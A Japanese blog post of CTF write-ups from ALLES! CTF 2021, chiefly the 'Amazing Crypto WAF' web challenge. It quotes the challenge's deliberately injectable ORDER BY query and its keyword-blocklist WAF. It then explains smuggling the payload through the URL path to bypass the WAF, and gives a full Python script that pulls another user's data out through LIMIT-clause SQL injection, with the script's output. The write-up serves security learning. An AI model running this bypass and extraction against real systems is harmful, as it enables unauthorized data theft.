st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ALLES! CTF 2021 writeup

9/4 - 9/5という日程で開催された。zer0ptsで参加して15位。

他のメンバーが書いたwrite-up:


[Web 104] Sanity Check (498 solves)

You aren't a 🤖, right?

という問題文から robots.txt だなあとわかる。

ALLES!{1_nice_san1ty_ch3k}

[Web 229] Amazing Crypto WAF (23 solves)

Pastebin的なサービス。次の docker-compose.yml からわかるように、表からアクセスできるのは crypter というサービスだけ。これがバックエンドの app とクライアントの間に立つ仲介者として機能するという構成になっている。SQLiteのDBにユーザの情報やらメモやらが保存されているが、その内容はAESで暗号化されている。

version: '3.7'
services:
  app:
    build:
      context: app/

  crypter:
    build:
      context: crypter/
    depends_on:
      - "app"
    ports:
      - 5000:1024

フラグは以下のように flagger というユーザのメモとして保存されている。

import requests
import uuid
from logzero import logger

# create flag user
pw = uuid.uuid4().hex
flag = open('flag', 'rb').read()

logger.info(f'flagger password: {pw}')
s = requests.Session()
r = s.post(f'http://127.0.0.1:1024/registerlogin',
                data={'username': 'flagger','password':pw}, allow_redirects=False)

s.post(f'http://127.0.0.1:1024/add_note',
                data={'body': flag, 'title':'flag'}, allow_redirects=False)

私が問題を確認した時点で、nyankoさんによって app/notesORDER BY 句以降のSQLiができることがわかっていた。

@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)

この appnotes には crypter を通してアクセスできるが、crypter は以下のように SELECTUNION がGETパラメータに含まれていることが確認できればそこで処理を打ち切ってしまう。特に WHERE 句で既にレコードがログインしているユーザの投稿だけに絞られている状況では、SQLiでは他のレコードの情報を抽出するのは難しいように思える。

# the WAF is still early in development and only protects a few cases
def waf_param(param):
    MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<']
    for key in param:
        val = param.get(key, '')
        while val != unquote(val):
            val = unquote(val)

        for evil in MALICIOUS:
            if evil.lower() in val.lower():
                raise Exception('hacker detected')

waf_param を呼び出す側はこんな感じ。

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['POST', 'GET'])
def proxy(path):

    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return 'error'

なんとかできないか、crypter がこのWAFによるフィルター以降で何をしているか見ていく。フィルターの直後で request.query_string からすべてのGETパラメータを、path からリクエストされたパスを取得している。その後 {BACKEND_URL}{path}?{query}requests でHTTPリクエストを送り、HTTPレスポンスに含まれる暗号化された内容の復号などを行った上でHTTPレスポンスを返している。

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    headers = {'Cookie': request.headers.get('Cookie', None) }
    if request.method=='GET':
        proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}',
                            headers=headers,
                            allow_redirects=False)
    elif request.method=='POST':
        headers['Content-type'] = request.content_type
        proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 
                            data=encrypt_params(request.form),
                            headers=headers,
                            allow_redirects=False)

   if not proxy_request:
        return 'error'

    
    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get('Location', None):
        resp.headers['Location'] = proxy_request.headers.get('Location')
    if proxy_request.headers.get('Set-Cookie', None):
        resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie')
    if proxy_request.headers.get('Content-Type', None):
        resp.content_type = proxy_request.headers.get('Content-Type')

    return resp

実はこの path はパーセントエンコーディングされていないので、例えば /notes%3forder%3dasc%26 にアクセスすると、バックエンドの app に対して http://127.0.0.1:5000/notes?order=asc&? のような形でHTTPリクエストが送られてしまう。crypter のWAFがチェックしているのは request.argsrequest.form のみで、path はGETパラメータでもPOSTで送られたパラメータでもないからWAFをバイパスできてしまう。これで /notes のSQLiが叩けるようになった。

SQLiで情報を抽出する方法を考える。SQLiteの公式ページには SELECT 文のrailroad diagramが載っているが、これを見ると ORDER BY 句の後ろでは LIMIT 句が使え、さらに LIMIT 句では SELECT を含めた式が使えることがわかる。あらかじめ数件のメモを投稿しておいて、LIMIT 句内の件数として unicode(substr(sqlite_version(), 3, 1)) & 15 のように数値として抽出したいデータの一部を与えると、その結果が出力された件数から得られる。

path を使えばWAFをバイパスできるということに気づいたのはCTFの終了間際で、暗号化されたフラグは長いことが予想されたので、4ビットずつデータを抽出する方法を採ることにした。これなら最初に投稿するメモの数は15個で済むし、1文字につき2回のリクエストで抽出できる。

まず1ビットずつの抽出を考えたが、前述の通り抽出したいデータはAESで暗号化されたバイト列をBase64エンコードしたものであるから、きっと長くなるだろうと考えてやめた。7ビットずつ抽出しようとすれば1回のリクエストで1文字を抽出できるが、最初に127個のメモを投稿する必要があるし、なぜかメモの数が増えれば増えるほどメモの投稿に時間がかかるから、結果的に4ビットずつ抽出する場合より遅くなってしまうと考えた。ということで、書いたスクリプトはこんな感じ:

import uuid
import requests
import urllib.parse

def query(sess, payload):
  r = sess.get(URL + 'notes%3forder%3d' + urllib.parse.quote(payload) + '%26')
  return r.text.count('name="uuid"')

#URL = 'http://localhost:5000/'
URL = 'https://7b0000006e9e16b460eef310-amazing-crypto-waf.challenge.master.allesctf.net:31337/'

sess = requests.Session()
sess.post(URL + 'registerlogin', data={
  'username': str(uuid.uuid4()),
  'password': str(uuid.uuid4())
})

print('chotto mattene')
for _ in range(15):
  print(_)
  sess.post(URL + 'add_note', data={
    'body': str(uuid.uuid4()),
    'title': str(uuid.uuid4())
  })
print('okay')

i = 1
res = ''
while True:
  a = query(sess, f"asc limit (select unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) >> 4)")
  b = query(sess, f"asc limit (select (unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) | 240) - 240)")
  res += chr((a << 4) | b)
  print(i, res)
  i += 1

実行すると以下のように出力された。無事暗号化されたフラグが抽出できたようだ。

$ python3 solve.py
155 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblB
156 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBp
157 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZ
158 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz
159 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz0
160 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz09

ENCRYPT:… という文字列をユーザ名として登録すると ALLES!{American_scientists_said,_dont_do_WAFs!} とフラグが出力されたが、CTFの終了時刻である13時を1分過ぎており、手遅れだった。

ALLES!{American_scientists_said,_dont_do_WAFs!}